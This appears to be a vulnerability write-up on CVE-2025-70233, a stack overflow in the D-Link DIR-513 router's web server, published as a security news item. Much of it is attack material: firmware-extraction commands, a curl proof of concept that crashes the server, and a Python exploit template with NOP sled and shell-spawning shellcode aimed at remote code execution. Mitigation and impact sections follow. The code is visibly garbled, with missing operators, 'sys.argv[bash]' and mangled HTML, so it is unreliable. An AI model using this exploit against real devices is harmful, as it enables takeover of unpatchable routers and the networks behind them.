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The stack buffer overflow vulnerability in D-Link DIR-513 v1.10, identified as CVE-2025-70233, resides in the Boa web server’s handling of HTTP POST requests. The `goform/formSetEnableWizard` callback function is vulnerable due to improper validation of the `curTime` parameter. The vulnerable code uses functions like `sprintf` to concatenate the user-supplied `curTime` value into a fixed-size buffer on the stack without checking its length . By sending a crafted request with an excessively long `curTime` string, an attacker can overflow the buffer, overwriting adjacent memory regions such as the return address. This allows for remote code execution with the device’s privileges, or a denial of service by crashing the web server . The device is end-of-life and no longer supported, meaning no official patch will be released .
Platform: D-Link DIR-513
Version: v1.10
Vulnerability: Stack buffer overflow
Severity: Critical
Date: March 5, 2026
Prediction: No patch expected
What Undercode Say:
The following demonstrates the exploitation and analysis of the stack buffer overflow in the D-Link DIR-513.
1. Firmware Analysis: Extract and inspect the firmware to find the vulnerable function.
Assuming the firmware file is 'DIR513_v1.10.bin'
binwalk -e DIR513_v1.10.bin
cd _DIR513_v1.10.bin.extracted/
Locate the web server binary (often 'boa' or 'httpd')
find . -name "boa" -o -name "httpd"
Use strings to find the vulnerable endpoint and related functions
strings ./squashfs-root/bin/boa | grep -i "formSetEnableWizard"
strings ./squashfs-root/bin/boa | grep -i "curTime"
2. Manual Exploitation with a Proof-of-Concept (PoC) curl command.
This command sends a long string of 'A's to the curTime parameter to trigger a crash (DoS).
TARGET_IP="192.168.0.1"
PAYLOAD=$(python3 -c "print('A' 1000)") Adjust length to trigger overflow
curl -X POST http://$TARGET_IP/goform/formSetEnableWizard \
-d "curTime=$PAYLOAD"
3. More Sophisticated Exploit Structure (Python Example)
This is a template for a script to test for the overflow and potentially achieve RCE.
import socket
import sys
def exploit(target_ip, command):
1. Craft a malicious payload
- Buffer filler to reach return address
- Return address pointing to shellcode (e.g., in environment variable)
- NOP sled for reliability
buffer_size = 512 Example size, needs precise identification
return_address = "\x00\x01\x02\x03" Placeholder address
nop_sled = "\x90" 100
Example shellcode to reboot the device (simple demonstration)
Actual shellcode for reverse shell would be used for full compromise.
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")
payload = "A" buffer_size + return_address + nop_sled + shellcode
2. Send the HTTP POST request
http_request = (
f"POST /goform/formSetEnableWizard HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(payload)}\r\n"
f"\r\n"
f"curTime={payload}"
)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, 80))
sock.send(http_request.encode())
response = sock.recv(1024)
print("[+] Exploit sent. Response received.")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
if <strong>name</strong> == "<strong>main</strong>":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[bash]} <target_ip> <command>")
sys.exit(1)
exploit(sys.argv[bash], sys.argv[bash])
How Exploit:
An attacker exploits this vulnerability by first identifying the exact buffer size needed to reach and overwrite the saved return address on the stack . This is typically done through fuzzing or reverse engineering the firmware. Once the offset is known, the attacker crafts a malicious HTTP POST request to the `/goform/formSetEnableWizard` endpoint. The `curTime` parameter is filled with a specially designed payload. This payload consists of padding to fill the buffer, followed by the attacker’s chosen return address. This new return address is crafted to point to shellcode located elsewhere in memory, often placed within the same payload or in an environment variable. Upon successful overflow, the function returns, jumping to the attacker’s shellcode, which can execute arbitrary commands, establishing a reverse shell or modifying device configuration .
Protection from this CVE:
As the D-Link DIR-513 v1.10 is an end-of-life product, D-Link will not release a security patch . The most effective protection is to isolate or decommission the device immediately. Network segmentation can be applied by placing the router on a separate VLAN with strict access control lists (ACLs) to block all inbound traffic from the WAN to the device’s management interface . Users can also manually filter malicious requests using a firewall or IPS/IDS system by creating rules to drop HTTP POST requests containing overly long `curTime` parameters to the `/goform/formSetEnableWizard` endpoint. Ultimately, replacing the device with a supported and secure alternative is the only long-term solution .
Impact:
Successful exploitation of CVE-2025-70233 has a critical impact. An unauthenticated, remote attacker can achieve full compromise of the D-Link DIR-513 router . This allows the attacker to execute arbitrary code, effectively taking complete control of the device. The consequences include the ability to monitor all network traffic passing through the router (confidentiality breach), modify routing tables or DNS settings to redirect users to malicious sites (integrity breach), and render the device inoperable through a denial-of-service attack (availability breach) . The compromised router could also be used as a foothold to launch further attacks against devices on the internal network.
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Sources:
Reported By: nvd.nist.gov
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D-Link DIR-513, Path Traversal, CVE-2025-70231 (Critical)